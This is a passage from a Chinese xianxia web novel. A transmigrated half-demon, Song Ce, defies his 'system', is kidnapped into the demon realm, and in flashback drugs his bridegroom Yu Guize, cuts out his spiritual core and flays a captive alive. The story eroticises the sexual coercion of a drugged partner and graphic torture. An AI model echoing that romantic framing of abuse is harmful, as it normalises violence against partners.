宋策像是玩弄某种玩具一般抬掌又翻掌,那丝线向上向下飘都也逃不出宋策的手掌心。
林离垂眸暗叹,让她上阵杀妖杀魔,都比在这里让她舒心,眼前这只半妖虽然修为比不得他师尊或姬九婴那样的大妖,但不知为何这人轻轻落下的一点目光分明并未露出半点危险气息,却总让人有一种畏惧之情。
她想:“难道是某个修道大能重塑肉身后转世重新修炼所致?”
“林道友,我看你师尊半点要回来的意思都没有,不如你先带我回风雪城,那儿总比这里要安全些。”
宋策坐起,他身后就是万家灯火,他说的轻巧像是在林离打着商量,林离想了想似乎是在思考。
“在哪别动。”
宋策嘴角挂着的笑容僵住,视线落在林离手腕处萦绕着一圈青松色的灵力波动上,他刚才没有仔细看现在发现居然是喻归泽落下的听缇禁制。
不是传讯法器,却能千里传音,时刻监控自己想听的内容,宋策暗道:“这家伙什么时候这么难搞?”
“不必理会他说什么。”
林离听到自家师尊的声音,那边还传来喧闹嘈杂的声音,不时还有剑刃铿锵声音。
她有些尴尬地晃晃手腕,面露难色:“前辈,师命难为。”
“公子,魔族来袭——”九婴的声音从传讯中响起,宋策隐秘地听着音讯。
“阮兰灵和屠期绝里应外合,掳走了许长岁!”
“公子,你在哪里,我去寻你!”随着九婴的最后一声传讯消失,宋策捏捏眉心叹了口气,真够疯的,他是想过屠期绝来上仙界不干好事,他没想到他这么嚣张。
风声呼啸,远处的灯笼被风吹得四处乱飞,宋策眯起眼看向林离,意味不明地问她。
“林道友,你去过魔域吗?”
“嗯?”林离还以为听错了。
“有人请客,魔域多日游。”
“林离,带他走!”喻归泽的声音一出,林离意识到什么,瞬间动作想带宋策离开。
“晚了!”
虚空被撕裂,飘出一抹鲜红的裙摆,是被绑住的许长岁。
“放肆,你们居然在风雪城撒野!”
许长岁被魔气捆住挂在空中飘着,几经挣扎之下披在她身上的斗篷被挣开,屠期绝瞬时闪现至宋策跟前,一掌撕开林离与宋策之间的牵连,拽着宋策就要走。
宋策掩饰手中蛊虫,未有任何挣扎就顺着连着他的魔气后仰,林离不死心地要往上冲,阮兰灵掐诀挡开林离的追逐被屠期绝打断,阮兰灵眼眸惊诧看向他。
“他是天恒阁首席弟子,不能带走她!”
“前辈!
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”林离沿着裂空想拦截住向后倒去的宋策。
屠期绝直接连带着林离一同拉入身后的传送空间中,冷笑道:“魔域恭迎天恒阁领主大驾!”
就怕他不来,这浑水越乱越好!
屠期绝挥袖转身,虚空缝隙被他缝上,光影的湮灭的刹那,宋策看见了破空飞来的喻归泽,犹如利剑刺破天际,锐利的锋芒迅速朝他们逼近。
宋策被捆在许长岁身侧,耳边是她急促的呼吸声,宋策轻声言语安抚,全然没有被绑架的紧张,完全就是轻松调侃的语气:“现在你能去魔域绝境密林走一遭了。”
许长岁像是听到了什么不可思议的鬼话,她的嘴被捂住说不了话,但再艰难她也瞪着一双大眼僵硬地转头看向一旁同样被束缚的宋策。
“呜……”你是怎么说出这种话来的,这能一样吗?自愿去和被绑去能一样吗?
宋策回之一个含蓄的微笑以作表示。
“嘭!”空间领域一阵震动,宋策看见眼前画面突然碎裂,喻归泽长剑傍身一剑破空生生劈开了空间屏障。
宋策一惊,没想到喻归泽已经修炼到这种程度了,屠期绝布下的传送法阵不可能只是简单灵器辅助,必定又天级宝器加持,他就此空手打破空间限制稍有不慎就会被虚空撕碎。
随着他的攻势,几人身处之地摇晃起来,他们被一道力量震散。
屠期绝倒吸一口气,刚有动作却被喻归泽挥剑震开,传送门晃动,屠期绝暗骂一声:“疯子!”
喻归泽凌厉的眼神落在宋策身上,他身边的许长岁激动起来,恨不得立马脱身,。
“我的天呐,任务对象发什么疯!”
这种程度的暴力破阵他会被空间法门切碎!
喻归泽手中利剑换发出血色光芒,犹如雷火灼烧逐渐显露出赤红鲜艳的颜色,流水一般的光彩从剑段软化成柔韧的水膜切断宋策身上的魔气禁固,将他拉至身侧。
“师尊!”
“呜——”
阮兰灵咬牙狠狠瞪了一眼屠期绝,他就说别招惹他,这种事情也能办砸,魔主回头肯定要发难,但也是现下也管不了那么多了,先保命要紧。
“别管了,快走!”
他们在空间震动中被分流出去,那一刻喻归泽琉璃浅淡的瞳孔划过一点暗色,使出一道法术禁制落在林离和许长岁身上。
转逝间,屠期绝一侧的空间门关闭,喻归泽和宋策跌入另一处空间缝隙。
“这次,你还想去哪里?”
喻归泽眼含煞气,囚血发出的烈火炙热地烧起来,空间再次震动起来,宋策手腕一紧分神查看,温热的气息沿着他的腕骨往下牵住了他的手。
空间将两人挣开,但是喻归泽还是抓住了他,缝隙撕裂了赤色许长岁掉落的披风,空中飘散的红白碎布如同漫天的花瓣肆意纷飞,光影闪烁,喻归泽瞳色深暗,白光落入他的眼睫,在光影之下瞳孔恰像是一层水膜包裹着的流转血液,如骄阳下盛开的艳花般鲜红。
“危险的事不要做。”
空间碎片炸开,喻归泽环抱着他的身体,视线交融的一刻,眼前白光闪过,喻归泽伸手捂住了他的眼睛,汹涌的灵力霸道地钻入他身体,一切都陷入了混沌之中。
如此混乱的场景,分外熟悉的乱像,乱成一锅粥的婚礼……一如三百年前。
他似乎只是杀了一只魔,还有——抢了喻归泽灵丹……
艳丽的红色绸缎悬在横梁上往垂,厅堂正厅贴着一张巨大的双喜字,窗外嘈杂的声音渐渐散去,若非早已离开极渊,他甚至还以为自己从未脱离幻境。
宋策坐在地上,指尖夹着一片薄刃,烛光映照下刀锋划过银白的冷光,他身边的喻归泽昏倒在法阵之中,金冠碎裂,青丝散落,一条绯色蛇尾从凌乱的喜服下探出,难耐地抽动蜷缩着。
利刃试探地抵在喻归泽胸口,他往前推进一分,布料浅浅往下陷入几分,宋策垂眸轻挑起喻归泽散落的袖口,尖刀落在他的手臂上,少年人早已抽条,肌肉线条利落干净,宋策沿着他的皮肤缓缓滑动。
系统的声音从最初的不可置信到愤慨最后只剩下苦苦哀求,他要是知道自己绑定的宿主会这样,当初还不如绑定朱半规呢。
宋策软硬不吃,露出几分讥讽的笑意:“我可从来没说过要做什么任务。”
“是你将我带到这个世界,孤魂野鬼流落异世,不入轮回生不如死!”
“可是我救了你啊宿主。”
“我不需要你救!”
“你以为你只沉睡了五年?”宋策喉间泣血,双目深暗,他轻轻笑了,系统的话让他觉得万分可笑,连带着身边人也变得分外刺目。
他趴在喻归泽身上,指尖勾弄着他一缕发丝卷起,垂首在他耳边轻叹。
“郎君,你心里有我吗?”
药力带来的炙热不断灼烧着喻归泽的神志,他抬起手肘耷拉在宋策的肩膀上,鲜红唇瓣蹭着他的脖颈低声喊着什么。
“宋哥……夫君……”
宋策低声笑了,琥珀色的兽瞳眼光流转:“看,这就是你的任务对象。”
漫不经心的语调里藏着他惬意的愉悦,系统哆哆嗦嗦地发出一阵刺耳的电流,警报声尖利地呼啸着,宋策全耳不闻,直接屏蔽了系统。
“如今,我的了。”
宋策捧着他的脸颊,灼热的手感让宋策心情越发愉悦,他垂下眼睑,看着怀中人无声地喘息着,唇上鲜艳的口脂早已被蹭花,斑驳零落的印在他手上。
他低头亲吻着那片炙热,撇过他不断颤抖的睫羽,细微的泪珠颤颤巍巍地晕染着他的眼睑,宋策为他吻去泪花,暗哑的嗓音落在他的耳边:“郎君心里若是有我,灵丹给我好不好?”
“嗯……”喻归泽睁着眼,泪珠随着他的动作被宋策轻轻晃动着,宋策接下那一颗珠泪吻过,嘴角浮现笑容,像是内心的一处空缺被填满,温软的水荡漾在心头,欲壑难填,但这一次他好像体会到了一丝滋味。
趁着眼前人神志未清占尽便宜,看着这位天之骄子痛苦难耐的样子,他心中有一瞬隐秘的痛快,他指尖沿着这人的手心一寸寸挤入他的指缝与他十指相扣,黏腻的液体顺着他的手腕缓缓淋湿喻归泽的衣袍,地面都是他的血,宋策舔舐着喻归泽腕部的伤纹,引得他腕部肌肉隐隐抖动着。
“不……宋哥……”
鲜血顺着肌肤滑落至脚踝,法阵之内浮光鎏金,血液流淌过每一条宋策亲手布制的符文,血腥味蔓延开覆盖住喻归泽身上散发出的香味。
【警告!警告!警告……】
67. 回忆·现实(决裂)
“宿主,你都干了什么?”
系统彻底疯了,宿主挖掉了任务对象的灵丹换到自己身上,这对吗?
让宿主修复任务对象的灵丹,他没想到宿主直接抢走了任务对象的灵丹,系统看着满屏的【警告】,主页面彻底瘫痪。
看着擦边红线的任务,虽然现在主系统还没有直接判定任务失败,但他知道任务也基本没戏了。
苍月冲进来,看着一地的狼藉,血洗婚房,黑风鬼的尸体被钉在高堂之上,尸体背后的“囍”字被血液浸染糜烂,房内充斥一股浓重的腥味。
“宋策?”
他背对着苍月,缓缓转过身来,不单是脸,就连腕骨至指尖都细致包着白绫,他只露出一只眼睛,浅棕色的眼瞳掩露出平静幽然的冷光,素绫之下渗透着淡淡的血迹。
喻归泽仰躺在法阵中央,地面都是血液绘制的灵符,深暗喜堂里处处可见血色符文,赤色纹路,苍月喉咙干涩,红唇微动最终什么话都没说。
“他想自爆魔核”,宋策面前摆着净手的水,他已经换下了喜服,依旧一身玄色衣袍,暗沉的颜色与他手中白绫相衬,显得诡异阴森,血丝从他指尖滴落至盆中,落得一片涟漪,他嗓音沙哑,“我划开了肚子。”
“解刨一具尸体,不难。”
“尸体?”
苍月瞳孔紧缩,眼睫轻颤视线移向宋策身后。
烛光落在黑风鬼破碎的身体上,苍月分明察觉到他还留有一口气,活解。
“咳咳……”他微弱的气息从破烂的喉管发出,眼球暴露凸起,看着血腥万分。
他一张皮被仔细地切开,从眼角开裂像一张精致的毯子张开,铺在他的身后,皮肉之下的血管被细致地挑出来,钉在皮肤上,胸口的一颗血红心脏轻轻跳动着,他那血管之下正有什么鼓动着,似乎不断有东西想冲破黑风鬼的血肉钻出来,苍月从未见过如此令人毛骨悚然的场景。
云书从举着一盏烛火从堂屋后现身,苍月震惊于这人居然还活着,她以为云书已经死在极渊灵煞中了。
苍月眸光闪动,不可置信地看向宋策,妖奴契约签订在宋策妖丹上,他居然亲手挖出了自己的妖丹,但是妖没有妖丹维持人形都不行,他到底是怎么回事?
她察觉到宋策身上萦绕的一股熟悉而强大的气息,想到什么,苍月的视线落在躺在阵中喻归泽身上,心尖颤抖,只觉得一阵反胃恶心。
机关算尽精心布置,居然为的是今天。
系统快要发疯了,他绑定的宿主是个疯子,根本就没想过做任务!
宋策居然从头到尾都在骗他!
早在主世界实习时候他就听说过,做任务的宿主性格迥异,多数情况下并不稳定,有时候可能比任务本身更加难应付,极易出现差错,但是他从未听过直接掀桌的宿主。
宋策现在根本就不理他,无奈憋了半天系统只撂下一句:“等喻归泽清醒之后他不会放过你的!”
长袍尾边用妖兽的血液浸染的血线绣制着复杂的纹路,细致的针脚隐隐划过银色灵纹,他赤脚坐着,宋策抬脚碰了碰喻归泽的尾巴。
留给他的时间不多了,他要出城。
喻归泽的尾巴无意识地缠绕着宋策脚踝,尾尖细小柔软的鳞片擦过他的皮肤传来冰凉的冷意,见此宋策嗤笑一声。
“等他醒来再说吧。”
……
“醒了?”
空间传送出现意外,宋策修为不敌喻归泽,被晃动的空间直接震晕了过去,醒来之后……
抬眼一看,面前出现一只手,圆润的指甲圆润秀丽,骨节根根分明,分明不像是一个握剑习武之人的手,但这双手的虎口掌心又有着明显的茧。
“吃。”顺着手的主人看去,潋滟的目光里一片水色,喻归泽唇瓣轻抿,眼眸却依然盯着他的眼睛,手往他唇边递近。
宋策实在忍不住笑了,他不懂喻归泽到底要干什么。
两人僵持半晌,宋策见喻归泽丝毫没有退步的意思,最终还是妥协,垂眸接走了那颗药,心想:“犟种,不吃就一直举着是吧,也不知道有没有毒?”
宋策刚吃完,肩膀一沉被推倒,他胎头看去,喻归泽手掌抵着将他按在床榻上:“别动,躺着。”
“宿主,你看!”系统将任务面板全部调出来,支点任务显示已经完成,到账20积分。
看着到账的积分,宋策有些意外地挑眉,睡了三天,任务居然完成了,看来是在空间传送过程中喻归泽怕他跑了,手肘现在还生疼,宋策无意识动了动小臂。
喻归泽垂眸,探查的视线停在他的胳膊,他微微起身,落在宋策身上的阴影撤去一些。
但两人之间的距离依然很近。
“道尊,我喘不上气咳咳……咳咳……”宋策蹙着眉,掐起嗓子扶着胸口浅声咳嗽着。
他环顾四周恍有所失的抬起眼眸,轻轻捻起落在床榻上的天丝绞纱,暗中腹诽一句:“还真讲究,这种天级材质的料子拿来做衣服。”
“劳烦道尊,我……”两人实在离得太近了,宋策觉得有些毛骨悚然。
“宋策。”素色轻纱舞动,与宋策的玄色衣袖纠缠一瞬。
宋策并未搭腔,咳嗽的声响也未停,他遮遮掩掩拉起被脚盖住上半身,动作小但速度快,朝床榻里侧挪动,试图离得喻归泽远些,打起来好歹也有点施展的空间。
宋策小心的抬起胳膊,窗外的光影颤动,细微的尘微上下浮动,下一瞬——
他撇开脸,曲腿抵开喻归泽腹部,翻身肘击上方人的肩颈,喻归泽后撤躲开,刀刃在手中利落地翻出花,喻归泽伸手抵住宋策的肩膀将他翻过,两人之间的距离再次拉进,刃光从他眼前闪过,白刃擦过脖颈落在耳边,发出“噌”地一声。
阴影抖动,“嘭”地一声,宋策后背撞在床上竹栏上,他的手肘被喻归泽高高吊起,像是被钉子死死固定在背后,宋策拧着眉往上看去。
宋策略有掩饰,神色平静地看向一招控制住他的喻归泽,挑眉浅笑,坦然自若的样子仿佛刚才做出小动作的人不是他一般。
“道尊,这是作何?”
他双手被喻归泽交叠桎梏,尖刀插在指缝之间,他右手小指隐秘地颤抖着,指尖系的细小白丝无风自动,轻盈地飘荡着,最后落在两人手腕间缠绕。
“宿、宿主,你别动啊,别动!”系统慌得不行,宿主要是再乱动一寸,喻归泽的刀刃就要切开他的手掌了。
宋策抚平眉间褶皱,沉静地勾起嘴角,唇边泛起一抹温和无害的微笑,装出一副正常的样子,言语之间平静带着商量的语气,试图和眼前这人讲道理。
喻归泽视线一寸不移,眼睛始终盯着眼前这人,知道他这幅从容样子是装出来的,指定心里在酝酿着什么算计。
晦暗的灯火下,喻归泽低头,眼珠细微移动看向身下人浅棕的瞳孔,眼睫轻颤,眸色愈发深,宋策松懈的身体陡然紧绷。
“你以为我不知道你是故意被屠期绝带走的?”
“宿主,你昏迷的时候,他把你手里的东西给戳死了。”
当初屠期绝接近宋策时在他身上下蛊,宋策将计就计,若不是喻归泽突然出现,他现在恐怕已经在魔王宫了。
想来喻归泽察觉到事情不对劲,在他昏迷时检查了他藏起来的蛊虫,直接挑出来剁了。
三百年前就不让他养蛊,如今一见到蛊虫还是如此厌恶。
想到这里,宋策嘴角好不容易扯起的笑显然僵了一瞬。
“……”
“别乱动。”
喻归泽的刀尖从指缝缓慢滑下,挑开了他腕上衣裳,刀锋沿着肌肤上的划痕游走,宋策凝眸神情紧绷,这才发现他身上衣服被换了。
他在检查他身上被空间碎片划伤的痕迹,宋策眸色微变,沉默着看着他,他动作时,宋策从他衣袖指尖看见熟悉的可怖伤痕,狰狞的红痕从他白皙的腕部往里延伸。
这些都是当初他换取灵丹时在他身上留下的符文,刀锋一寸寸划出来伤口,居然还留着。
宋策眸色微沉,心想,难不成他现在要清算?
如今他根本不是喻归泽对手,刀俎鱼肉显而易见,但也不能什么都不做吧……
“你在想什么?”
冰凉的触感抵在下颌骨上,打断了宋策纷乱的思绪,刀尖抬起他的下巴,喻归泽凑近看着他,那股独属于他的香气更浓郁了些。、
宋策猜他如今心情不错,把仇人玩弄鼓掌之中确实能让他兴奋。
他抿唇,淡色的唇瓣似笑非笑。
“在想,道尊到底要对我做什么?”
说着他凑近喻归泽,两人呼吸交错,宋策心间一紧,眼神露出不确定的神情,心中惊疑不定。
居然不躲?
从前他便知喻归泽不喜旁人近身,他有意靠近,喻归泽并未躲开,宋策咬牙吃瘪地闭眼,心想:“你不退是吧,我退。”
他往后移,谁知两人在动作之间长发勾丝缠绕,喻归泽被他的动作往前带动,踉跄之间手掌撑在他的腹部,宋策被喻归泽按得轻“嘶”了一声,他腹部还有被划破的伤口,给按出血了。
喻归泽低眉看了一眼,起身时挥动的袖口细纱滑过宋策的眉眼,鼻尖空余清雅悠远的香味,他转身时撂下一句冷淡的话语:“活该!”
……
为了躲开黑风鬼的旧部的追杀,两人日夜奔波一刻未停歇。
当夜他算准黑风鬼绝对会趁着功法大成,在两人双修之时动手,宋策早在他动手之前就在鬼城摆下传送阵,解决仇人之后他立即带着昏迷的喻归泽离开了鬼城。
不过……
“宿主,他是不是快死了?”系统的声音有气无力,他已经没办法再考虑宋策破坏任务的事情了,自从他挖了喻归泽的灵丹,这些日子喻归泽少有清醒的时刻,即使醒来半晌,也是一副被噩魇困住神志的模样。
不问不答,只有宋策问他时才恍惚地转动一下眼珠。
换了干净的衣物,月白的衣衫盖住他胳膊上的伤痕,但血色依然从底下渗出,露出斑驳的血迹。
此处距离鬼城边界不远,他们只是暂且找了一处驿站落脚,如今不方便,一路出逃,喻归泽的眼睛还未好全。
“又烧了?”
宋策探着喻归泽渗出细汗的额头,却被低头躲开,昏暗的视线下,他散乱的发丝遮住他的眼眸,他睫羽轻颤,语气深沉喉间似有含糊的颤音。
“无事。”
宋策指尖在他眼前晃动,喻归泽琉璃一般浅淡的眼珠轻轻转动,随即垂下眼皮躲开他的注视。
逼仄空间中泛着腐朽的气息,夜雨连绵,破旧的窗户被风吹得啪啪响,雨水从屋檐渗进木质墙面。
借着着摇曳的烛火宋策俯身按住他的肩膀,两指捏住他的面颊,抬起他的脸。
“我们逃出来了,你喜欢吗?”
混着血腥气味的气息缠绵在两人口舌之间,他掐着他的腰探入里侧的柔软,察觉到手里的僵硬,宋策手中动作并未停歇,他捏着他的下颌,双目紧盯他垂下的眼睑,温热的气息撒在他的眉间。
宋策落下一吻,旋即收紧指尖迫使他抬头看着自己,低声问他:“我问你,喜、欢、吗?”
现下宋策已经取下身上白绫,满脸符文伤痕张牙舞爪地闯入他眼中,痂痕已经落,也许是他下过禁制,这些纹路在他脸上留下祛不掉的赤色红痕,喻归泽心间剧烈颤动,胸口止不住上下起伏,只觉得一阵阵恶心,眼前闪过无数亲族惨死的画面,他沉下眼中利光,咽下喉间干呕。
他探出指尖轻轻搭在漆黑深邃的衣料上,微微握紧,眉目轻折,抬眸一瞬间,微张的唇舌被堵住,酸麻不已,身上不停作乱的手也似乎还在继续着刚才的问题,他紧紧握着手,任由伤口崩裂,缓和起伏不定的胸膛。
“喜欢……”
“郎君真乖。”
宋策抱着他,却发现他身上很冷,像夜雨的湿冷,身上的味道也很淡,淡的快要消失似的,几乎要闻不到熟悉的香味,怀中人就在眼前,他却觉得喻归泽轻薄的像一张纸。
他想,也许下一瞬他就要溶化在秋雨淋漓中了。
……
“杀我?”
刀锋擦过脸颊,刺破眼下的绷带,刀剑刺出几缕白丝落入宋策眼帘,他疾退几步,闪身躲开喻归泽的带着杀意的攻击,胸口还是被喻归泽的灵力刺入胸腔。
狠辣的灵力震地他身体晃动,只是瞬间,宋策喉间涌上一股腥甜。
也许是已经暴露,喻归泽不再掩饰,他双目冷漠霜寒,并未落下一言片语,只是一味攻击宋策受伤的部位,招招冲着取他性命而去。
喻归泽咬着苍白的唇瓣,嘴角渗出丝血,他下手狠绝,毫不留情,都是朝着宋策
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命脉攻击,眼里早已模糊眩晕,但他依然试图杀死宋策。
当初有多信任,如今只觉得恶心讽刺,自己居然被这个半妖欺骗至此,灵根枯竭,丹田尚且不余多少灵力,虚与委蛇几日,好不容易找到机会,原想一击必杀,没成想被宋策躲开。
传送阵被喻归泽打断,如今阵法已毁,宋策低头看了眼胸口的伤口,眼珠缓缓移动,嘴角勾起一抹笑意,出言嘲讽道:“今日若不是我传送法阵需耗费心力,无暇顾及你,你还要装到什么时候?”
“我杀了你!”说着喻归泽的刀就朝宋策劈来,宋策站在原地未动。
接连下了好几夜的雨,窗外的风裹着湿润的腥土气卷起他玄色衣袍,三千青丝随风狂舞,琥珀般迷离的瞳孔散发着迷惑人心的光彩,舌尖舔过嘴角的鲜血,他笑的无畏且妖冶。
“郎君,你真让我失望!”
“别这么叫我,恶心!”
喻归泽眼珠充血,目眦欲裂,眼中掺杂着难掩盖的复杂情绪,昏迷的这么多天,他没办法不怀疑宋策救他的意图。
亲族被灭那日,他意外被卷入族内法阵中,沉沦数年才被神山震出结界,混沌失忆的他又被途径三界中心的游商捡走。
鬼城易进难出,游走三界的普通商贩根本不会进入鬼城售卖货物,但捡走他的商贩却恰好意外进入鬼城路过流沙城区,他又恰好被宋策救走。
从一开始宋策就知道他灵族的身份,什么修炼,什么离开鬼城游历三界,都是假的!
喻归泽赤红的眼瞳紧紧盯着宋策身上密布的痕迹,只觉得万分可笑,灵族灵丹与其主人一脉相承,即使脱离本体,也没有办法彻底切断与其主人的联系。
如今宋策身上的伤口已经恢复,但疤痕依然遍布全身,猩红如赤线的疤痕如血线深入皮肉,宋策的身体根本无法适用他的灵丹,只能浑身画满邪术符文才能压制灵丹带来的排异反应。
“呃——”
喻归泽心口钝痛,身体僵硬顿住立在原地,刀尖刺入地面,他眉目紧皱,眼眸不甘心地看向宋策。
“你手中的刀刃都是我送你的,如今你却要杀我?”
宋策指尖缓缓绕着连接两人心口的红线,将喻归泽拉进,两人呼吸再次交缠贴近,宋策夺过他手中的刀刃,轻挑地拍了拍他的脸颊。
不吝耻笑道:“少主大人,你以为现在还是高高在上的天之骄子呢,这里可没有人捧着你爱着你。”
“别碰我!”
“灵丹还我!”
喻归泽狠狠拧眉瞪着眼前人,深红的眼瞳翻涌着对宋策的恨意,只觉得腹部一阵恶心,连接两人的连心蛊寸寸深入切割着他的心脉,却也没有此刻的厌恶让他阵痛。
看着到他眼底的恶意,宋策嘴角笑容越大,眼底的无情冷漠更甚,他如同还未与其决裂时那般调笑:“郎君,我好伤心呐。”
“你知道我杀不了你。”
看着一地的残局,传送法阵已破,宋策干脆直接坐下,没有给喻归泽反应的机会,抬腿踢在喻归泽膝盖处,他应声跪地,连接心脉的蛊虫细线将他的上身往上一拽,他痛地咬裂唇角,鲜血沿着唇边落下,喻归泽垂眸隐忍地看着地面。
“不过你也杀不了我。”
宋策语气轻缓:“我确实杀不了你。”
他话锋一转,有意刺激喻归泽:“我记得郎君修的是太上忘情道?”
“如今梵身已破,白璧微瑕,你还修什么道?”
宋策低声笑了,渗人的笑声藏着无尽的讥讽,野兽般冰冷的一瞬不移地打量狼狈的喻归泽,戏谑的笑声依然未停,时刻提醒着喻归泽自己到底有多蠢。
“住口!”
宋策抬起足尖点在他的肩头,任由喻归泽握住他的脚踝,用力至深似要将他的骨头捏碎。
喻归泽抬头盯着他始终漫不经心的模样,只觉得眼前这人心冷的刺骨,杀人剖丹分尸,心狠手辣,手段狠绝,什么事都做的出来。
为了提升修为,摆脱半妖资质的限制,将自己弄成这副不人不鬼模样,他与那些屠杀他的族群的奸佞之辈又有何分别。
到底是他蠢,只是失忆而已却被这个道貌岸然的疯子戏耍至此。
想到这,喻归泽只觉得胸闷气短,喉间窒息难耐,气血直冲颅顶眼前一阵眩晕。
“嗯?”
宋策俯身,疑惑这人居然就这样晕了,这几日赶路途中为了躲避追杀,并未好好歇脚。
他凑近试探,别被气死了。
晨光微熹,一缕光线落在他的耳边,宋策单膝跪地挑起他的发丝,听见他口中呓语。
“什么……”
“……”
“倏”地一声,宋策眼前划过一抹亮光,他上身后仰勉强躲过,但脖颈的刺疼和鼻尖萦绕的腥味无不提示着刚才喻归泽那一下是冲着割断他的动脉来的。
宋策凝眸看去,发觉划伤他的是喻归泽身上的鳞片,薄片泛着银光,上面还沾染着他的血迹,若不是他闪的快,喉管怕已断。
还没来得及多想,喻归泽的尾巴犹如急鞭向他胸口袭来,宋策忙不迭躲开攻击,但肩膀依然被他尾部扫到,只听到“咔嚓”一声。
骨头断了。
宋策心下一横,扯动手中控制喻归泽的红线狠狠一拉,下一刻还有一丝余力攻击的喻归泽如同卸了力气的破布娃娃般跌倒。
宋策拿起桌旁的茶杯向他砸去,水渍淋落他的面颊,黑色发丝黏腻的贴在他的眼睑一侧,宋策走近捏着他的下颌骨,冷声道:“别不识好歹!”
“滚开,畜生!”
喻归泽欲扭头躲开,张嘴就咬却被宋策的手指堵住喉眼,双目止不住充血泛着红意。
“想杀我?下辈子吧!”
宋策看着他还在挣扎,翻身膝盖压在他的后腰将他抵在地板上,一手抓着他的发根俯身在他耳边调笑,讥讽的言语不断刺激着他的神经。
“当初亲我的时候叫宋哥,如今要杀我满口都是畜牲?”
汗水濡湿他的鬓发,他用力试图咬断宋策抵在他口中的手指,口舌含糊不清,眼神凶狠透露着杀意。
宋策用力折弯他的身体,轻咬他泛红的耳垂,细细折磨,惹得身下人止不住的颤抖。
宋策嘴角含笑,但说出的话却透露着恶意:“你觉得恶心?”
“和你这样的蠢货虚与委蛇,我也恶心!”
68. 现实
“这位公子,我们是不是在哪里见过?”
系统忍不住吐槽:“好老套的搭讪方式。”
一袭白衣蹁跹,衣摆轻盈地扫过门槛,宋策侧头看去,来人面带笑意,眉眼锋利却不失温和,宋策感觉有几分熟悉,但潜意识里感觉没见过这人。
他笑意盎然地看着宋策,长眉轻挑眼瞳划过细微的揶揄:“阁下就是宋策,宋公子?”
宋策眉心一跳,掩下嘴角僵硬的弧度,心中也是有几分诧异。
宋策这个名号在他印象里应该没几个人知道,曾经在外游历时,他鲜少以真名示人,他修炼资质并不拔萃,能在修真界出头留名的也就那些人。
之前最高调的时候,他也只是在风鸣宗当个外门弟子,这么多年过去应该也没人记得这个在芸芸众生中耗不起眼的小角色吧。
“阁下认错人了,在下姓莫。”
段云芷脸色不变,嘴角勾起似有若无的笑意,似乎不是很信他说的话,但也并没有揪着这个话题继续。
他稍微躬身作揖,似乎才想起来自报家门:“姓段,名云芷,字九霄,公子叫我九霄就好。”
宋策看出来了这人是谁,段氏家主,段云清弟弟,这两人眉宇之确实有几分相似,难怪系统的面板页面有人物背景更新提示,原来也是个关联人物。
察觉不到喻归泽的气息,宋策也不必顾虑什么。
许长岁在新婚结契的日子公然被魔族掳走,宋策也不知道现在外界究竟如何了。
三界如今风波不断,屠期绝在这节骨眼上惹出这种事情,无疑是一个愚蠢的选择。
屠沉渊要是管不住自家人,他不介意下次见面帮他教训一下这个蠢货弟弟。
当世魔主屠沉渊不似前任魔主那般蛮横霸道,肆意侵扰其他地界,但是也不是个软柿子,早些年手刃亲父登上魔主之位,外界常常以此诟病屠沉渊一次,嘲讽魔域都是一群野蛮心狠手辣之辈。
但比起他那位蠢弟弟,宋策觉得这位魔主还算是有能力的,自其即位短时间内以雷霆手段重整四分五裂的魔域,登位后摒弃老魔主与两界交往的磋磨治理策略,一反常态与其他两界重修盟约,和平相处,几百年来三界鲜少冲突。
“公子似乎与阁主是旧时,不知是如何认识的?”
段云芷眨着一双丹凤眼,面上不显,但落在身上的视线总是带着一丝探究意味。
“他问这个干什么,这人的眼神怎么这么奇怪?”系统总觉得这人有些怪异,凡是能出现在关联性人物日志上的应该不是等闲之辈,他有意提醒宋策要谨慎相处。
见这人熟稔落座的样子,宋策整理一番已知的信息,多少能清楚一些事情。
他和喻归泽传送路径被打断,两人跌落在魔界,恰好碰上在此地的段云芷。
宋策记得段云清和段云芷早年因为世家内斗,不甚流落魔界,根据人物背景能推算应该就是这处地界。
只是宋策记得这里似乎也是黑风鬼原先统辖的魔域。
还真是巧的很。
当年在魔域发生的事情,宋策这个迟来者并不知情,这中间牵扯的成年往事总归不是那么简单理清的。
宋策调出系统给的三界地图,在关于黑风鬼统辖领域标记,如今这里直属于魔主域下。
这段家面子也是大,居然能在屠沉渊直接统辖的领域留下一处宅子。
段云芷能收留他们多半也是因为和喻归泽相识,想到这里宋策不禁有些哑然,感觉他和喻归泽是犯冲还是怎么的。
之前他和喻归泽在一起那些年,不是在逃亡的路上就是在被追杀的路上,别说结交什么世家子弟或是名门正派,若是哪天不被通缉已算是运气好,若是有个一月两月不被人找上门,他都怀疑是不是仇人憋了个大的,防不胜防。
如今他喻归泽是潇洒,离了他,开山立派,移山劈海,位临仙道至尊,天下谁人不识。
看来这天道宠儿,仙门之幸,正道魁首除了和他在一起试试不顺,任谁都顺。
宋策有些悻悻的想,他怎么和喻归泽在一起的时候,没蹭到什么好处,尽惹出一堆麻烦来。
系统要是知道宋策心里想了些什么,绝对要替喻归泽大喊冤枉,早些年宋策出走三界,一点都不带低调的,什么秘境什么龙潭虎穴只要能留一条命,他是一点都不带保留的,有几条命就硬造几条命。
宋策没打算与段云芷多交谈,按照现在事情发展的进度,宋策也不是很确定任务的主线任务到底是什么,他调出进度指示,每次只要任务推出关于喻归泽的关联性任务,主线任务似乎就会推进一点。
但是有一点宋策不是很能理解,喻归泽和任务有关系,但是为什么每次关联性任务都需要和他牵连在一起,主世界系统颁布的任务似乎有意将他和喻归泽之间的关系拉进。
“你能联系上主世界吗?”
“不能,主世界数据混乱,我尝试过很多次都没办法连接上数据段。”系统语意艰难,他不止一次申请调令了,上次还是阴差阳错被世界弹出才勉强和主世界取得联系,当时情况紧急,他慌着保住宿主的命,根本没工夫关联什么任务。
“主世界系统单方面给我们下达任务?”
“宿主,我知道这很难接受,但是确实如此,根据法则明确规定,主世界的任务是根据大数据经历过无数次推演计算,演算最佳的执行方案划分成不同阶段,以片段性任务形式发布。”
“它的权限很高,我没办法的。”系统也觉得任务很离谱。
系统的话验证的宋策的猜想,目前要推进主线任务,主世界的关联性任务似乎有意要促进他的和喻归泽关系,如果喻归泽是任务关键,他这个执行者就必须先从喻归泽下手。
“公子以前是否在风鸣宗修习过?”
宋策闻声回头,发现这人居然还没走,他缓步走近,眼神一瞬不眨地盯着宋策,那双分明的眼白中心的瞳
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孔里流连着难以察觉的试探。
宋策眉心轻皱,修仙界不必现代,他活了几百年了,遇见过很多人要是每个人都要记得,那他岂不是很累。
他心下烦躁,也没工夫分出心神去应付,刚准备想个理由打发人。
“宋策!”
